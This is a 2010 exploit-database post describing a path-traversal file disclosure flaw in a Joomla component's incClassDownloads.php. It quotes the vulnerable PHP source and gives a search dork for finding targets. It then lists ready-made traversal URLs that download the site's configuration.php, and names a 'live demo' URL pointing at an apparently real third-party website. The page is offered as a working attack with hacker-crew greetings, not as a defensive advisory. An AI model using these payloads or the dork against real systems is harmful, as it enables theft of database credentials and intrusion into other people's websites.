[webapps / 0day] - Joomla (incClassDownloads.php) Remote Fil
Posted on 16 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Joomla (incClassDownloads.php) Remote File Disclosure | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Joomla (incClassDownloads.php) Remote File Disclosure by Sudden_death in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>===================================================== Joomla (incClassDownloads.php) Remote File Disclosure ===================================================== # Exploit Title : Joomla Remote File Disclosure (incClassDownloads.php) # Date : 13 December 2010 # Author : Sudden_death # Platform/Tested on: Windows XP 2 SP 2 # myweb : http://sudden.isgreat.org # dork : inurl:incClassDownloads.php ====================================================================== # look source incClassDownloads.php ....... if($_REQUEST['action']=='download') { set_time_limit(0); $vDownload = $_REQUEST['down']; $vFilename = $_REQUEST['filename']; $aPathInfo = pathinfo($vDownload.$vFilename); $mtype = $aPathInfo['extension']; $asfname = $aPathInfo['basename']; if($mtype == 'pdf') { $fsize = filesize($vDownload.$asfname); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Type: $mtype"); header("Content-Disposition: attachment; filename="$asfname""); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . $fsize); readfile($vDownload.$asfname); } else { include "../../../configuration.php"; global $mosConfig_live_site; global $mosConfig_absolute_path; $vDownload = $_REQUEST['down']; $vFilename = $_REQUEST['filename']; $aPathInfo = pathinfo($vDownload.$vFilename); $vDirName = str_replace($mosConfig_live_site,$mosConfig_absolute_path,$aPathInfo['dirname']); $fsize = filesize($vDirName.'/'.$asfname); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: public"); header("Content-Description: File Transfer"); header("Content-Type: $mtype"); header("Content-Disposition: attachment; filename="$asfname""); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . $fsize); readfile($vDirName.'/'.$asfname); } .......... # after we know config, let us download http://127.0.0.1/path/incClassDownloads.php?down=../../../configuration.php&action=download or http://127.0.0.1/path/incClassDownloads.php?down=/var/www/&fileext=php&filename=configuration.php&action=download or http://127.0.0.1/path/incClassDownloads.php?down=%2Fvar%2Fwww/&filename=configuration.php&action=download # live demo http://www.biblein90days.com/includes/common/class/incClassDownloads.php?down=../../../configuration.php&action=download Greets :| bumble_be | kiddies | patriot | Mr.SoOofe | petimati | white hat | Syst3m_RtO | MISTERFRIBO | CS-31 | d43ngCyb3r | zee eichel | ne0 d4rk fl00d3r | Ichito-Bandito | james0baster | kaMtiEz | Man In Black | otong | r3m1ck's | shadowsmaker | SyNTaX ErRoR | iJoo | FLYFF666 | LOL1ds | Md_holic | cah_surip | angga | demnas | ELV1N4 | jonathan | virgi | wenkhairu | jos_ali_jo | scr34mz | Kimmonosz | pL4nkt0n | RxN7 | Jimmy | 45tr0_k1ll1n9 | huda_style | zalezero | CireSoft49 | r4tu_le64h | cruzen | ranggamagic | Mbah_semar | and all crew's | Spesial thanks : [ indonesianhacker.or.id | tecon-crew.org | devilzc0de.org | makassarhacker.com ] [#]------------------------------------------------------------------- note : jangan mengatakan setiap apa yang engkau ketahui tapi ketahuilah setiap apa yang kau katakan! # <a href='http://1337db.com/'>1337db.com</a> [2010-12-16]</pre></body></html>
